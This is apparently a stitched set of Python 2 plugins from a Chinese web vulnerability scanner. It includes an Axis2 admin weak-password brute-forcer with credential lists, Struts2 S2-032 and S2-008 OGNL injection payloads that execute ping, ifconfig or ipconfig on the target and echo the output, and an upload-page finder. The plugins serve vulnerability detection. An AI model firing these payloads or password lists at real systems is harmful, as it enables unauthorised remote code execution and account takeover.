domain=ob['domain']) response = getResponse(res, "") detail = u"该网站的IIS服务器开启了脚本资源访问,将导致网站的源码泄露,建议管理员进入IIS管理器关闭脚本资源访问功能。" detail = detail.encode('utf8') result.append( getRecord(ob, url, ob['level'], detail, request, response)) #end if #end if return result except Exception, e: logger.error("File:IISResourceAccessScript.py, run_url function :" + str(e)) return []
def run_url(http, ob, item): header = { "Host": ob['domain'], "Connection": "keep-alive", "Pragma": "no-cache", "Cache-Control": "no-cache", "Referer": item['refer'], "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", # "Cookie": ob.get('cookie') } try: path = item['url'] params = item['params'] method = item['method'] timeout = ob.get('webTimeout') pattern = r'(/axis2/axis2-admin/login)' p_para = r'("type":\s*"password")' result = [] if not (re.search(pattern, path, re.I) or re.search(p_para, json.dumps(params), re.I)): pass elif re.search(r'(.js|.css)', path, re.I): pass elif params and 'POST' == method.upper(): pattern1 = r'("type":"text"|"type":"password")' p1 = re.compile(pattern1) text_count = len(p1.findall(params)) if text_count != 2: pass else: source_ip = ob.get('source_ip') url_parse = urlparse.urlparse(path) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query if source_ip: domain = source_ip if query: new_url = "%s://%s%s?%s" % (scheme, domain, path, query) else: new_url = "%s://%s%s" % (scheme, domain, path) username, password = param_get_username_pwd(json.loads(params)) flag_list = ['Administration Page</title>', 'System Components', '"axis2-admin/upload"','include page="footer.inc">', 'axis2-admin/logout'] username_list = ['administrator', 'axis', 'test', 'Admin', 'manage', 'cmseasy', 'root', 'demo'] password_list = ['administrator', 'abcd1234', '111111', '666666', '888888', '000000', '123456', '654321', '222222', '123123', '321321', '123321', '012345', 'abc123', '123abc', 'aaaaaa', 'abcdef', 'tslinux', 'admin000', 'admin', '123', '321', 'test', 'demo', '1234', '12345', 'manage', 'pass', '00000000', '11111111', '66666666', '88888888', '12345678', '87654321', '01234567', '76543210', '09876543', 'axis2','1','root','1234567890','test1234','password','abcd1234', 'phplist'] params_weekpass_list = inj_params2(username, password, un_value=username_list, ps_value=password_list) for body in params_weekpass_list: res, content = http.request(new_url, 'POST', body=body, headers=header) for flag in flag_list: if re.search(flag, content, re.I): detail = "Axis2控制台弱口令:%s" % body response = getResponse(res) request = postRequest(new_url, 'POST', headers=header, body=body, domain=ob['domain']) result.append(getRecord(ob, new_url, ob['level'], detail, request, response)) break return result except Exception, e: logger.error("File:crack_axis_weak_pwd_url.py, run_url function :%s" % (str(e))) return result
def run_url(http, ob, item): header = { "Host": ob['domain'], "Connection": "keep-alive", "Pragma": "no-cache", "Cache-Control": "no-cache", "Referer": item['refer'], "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", # "Cookie": ob.get('cookie') } try: path = item['url'] params = item['params'] method = item['method'] timeout = ob.get('webTimeout') pattern = r'(.*action?|dowanload.*action?)' result = [] if not re.search(pattern, path, re.I): pass else: url_parse = urlparse(path) netloc = url_parse.netloc source_ip = ob.get('source_ip') if source_ip: netloc = source_ip """http://*****:*****@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=calc.exe""" cmd1 = "a%3d1%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40" \ "java.lang.Runtime%40getRuntime().exec(%27ping%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+" \ "java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b50000%5d%2c%23c.read(%23d)%2c%23sbtest%3d%40" \ "org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23sbtest.println(%23d)%2c%23sbtest.close())%7d" cmd2 = "a%3d1%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40" \ "java.lang.Runtime%40getRuntime().exec(%27ping%27).getInputStream()%2c%23b%3" \ "dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3" \ "dnew+char%5b50000%5d%2c%23c.read(%23d)%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40" \ "getResponse().getWriter()%2c%23sbtest.println(%23d)%2c%23sbtest.close())%7d" for cmd in [cmd1, cmd2]: new_url = '%s://%s/%s?%s' % (url_parse.scheme, netloc, url_parse.path, cmd) res, content = http.request(new_url, method.upper(), headers=header) if res.get('status') == '200': if re.search(r'ping.*\[-(c|n) count\].*\[-i', content, re.M | re.I): response = getResponse(res, content) request = getRequest(new_url, headers=header, domain=ob['domain']) detail = " Apache Struts2 Skill名远程代码执行漏洞" result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) break return result except Exception, e: logger.error( "Struts2_S032DynamicMethodInvocation.py, run_url function :%s" % (str(e))) return result
def run_url(http, ob, item): try: result = [] if item['method'] != 'get': return [] #end if if item['params'] != '': return [] #end if if item['url'][-1] != '/': return [] #end if url = item['url'] list = ['upload.html', 'upload.htm'] if ob['siteType'] == 'php': list.append('upload.php') elif ob['siteType'] == 'asp': list.append('upload.asp') elif ob['siteType'] == 'aspx': list.append('upload.aspx') elif ob['siteType'] == 'jsp': list.append('upload.jsp') else: list.extend( ['upload.php', 'upload.asp', 'upload.aspx', 'upload.jsp']) #end if header = {'Host': ob['domain']} url_parse = urlparse(url) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query if query: new_url = "%s://%s%s?%s" % (scheme, domain, path, query) else: new_url = "%s://%s%s" % (scheme, domain, path) domain = ob['domain'] source_ip = ob.get('source_ip') if source_ip: domain = source_ip relist = ["%s%s" % (new_url, row) for row in list] relist = valid_urls(domain, relist) if not relist: return result detail = "在站点上检测到潜在的文件上传" for url in relist: res, content = http.request(new_url, headers=header) if res and res.has_key( 'status' ) and res['status'] == '200' and res.has_key( 'content-type' ) and res['content-type'] != '' and content != '' and content.find( 'input') >= 0 and content.find( 'file') >= 0 and content.find('type') >= 0: match = re.findall( r"<(\s*)input(\s+)type(\s*)=(\s*)('|\")file\5(.+?)>", content, re.I | re.DOTALL) if match and len(match) > 0: request = getRequest(url, domain=ob['domain']) output = "...<%sinput%stype%s=%s%sfile%s%s>..." % ( match[0][0], match[0][1], match[0][2], match[0][3], match[0][4], match[0][4], match[0][5]) response = getResponse(res, output) result.append( getRecord(ob, url, ob['level'], detail, request, response, output)) #end if #end if #end for return result except Exception, e: logger.error("File:CheckUploadFileScript.py, run_url function :" + str(e)) return []
def run_url(http, ob, item): result = [] try: result = [] domain = ob['domain'] scheme = ob['scheme'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip url = item['url'] url_parse = urlparse.urlparse(url) path = url_parse.path if not re.search(r'(?:\.action|\.do|\.go)', path): return [] # 原始恶意请求,在发送请求之前会做urlencode unix_list = [ # 执行命令 ifconfig,并将结果回显;检测关键字 HWaddr|inet addr # """debug=command&expression=#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('ifconfig')""", # """debug=browser&object=(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter(). # println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]). # getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=scantest&command=ifconfig""", '''debug=command&expression=%20%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22netaddr%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29''', '''debug=command&expression=%20%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22ifconfig%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29''' ] win_list = [ # 执行命令 ipconfig,并将结果回显;检测关键字 IPv4|IPv6|DNS # """debug=command&expression=#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('ipconfig')""", # # """debug=browser&object=(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter(). # println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]). # getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=scantest&command=ipconfig""", #"""debug=command&expression= %23context["xwork.MethodAccessor.denyMethodExecution"]%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%[email protected]@getRuntime().exec("whoami").getInputStream()%2c%23b%3dnew java.io.InputStreamReader(%23a)%2c%23c%3dnew java.io.BufferedReader(%23b)%2c%23d%3dnew char[50000]%2c%23c.read(%23d)%2c%23genxor%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()""", '''debug=command&expression=%20%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22ipconfig%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29''' ] # 未知操作系统 os = ob.get('os') list1 = [] if os == 'unknown': list1 = win_list + unix_list # 已知操作系统 if 'windows' == os: list1 += win_list if 'linux' == os: list1 += unix_list inj_value_list = list1 for inj_value in inj_value_list: # inj_value = quote(inj_value,safe="=.") new_url = '%s://%s%s?%s' % (scheme, domain, path, inj_value) res, content = http.request(new_url, 'GET', headers=header) if res and res.get('status') == '200': request = getRequest(new_url, headers=header, domain=ob['domain']) # response = getResponse(res, content) if re.search(r'(?:HWaddr|inet addr|admin)', content): detail = "检测到Struts2远程命令执行漏洞" if not ob.get('os') or ob.get('os') == 'unknown': ob['os'] = 'linux' response = getResponse(res, content, '(?:HWaddr|inet addr)') result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) break if re.search(r'(?:IPv4|IPv6|DNS|admin)', content): detail = "检测到Struts2远程命令执行漏洞" if not ob.get('os') or ob.get('os') == 'unknown': ob['os'] = 'windows' response = getResponse(res, content, '(?:IPv4|IPv6|DNS)') result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) break except Exception, e: logger.error( "File:Struts2_S2_008DebugScript_yd.py, run_domain function :%s" % (str(e)))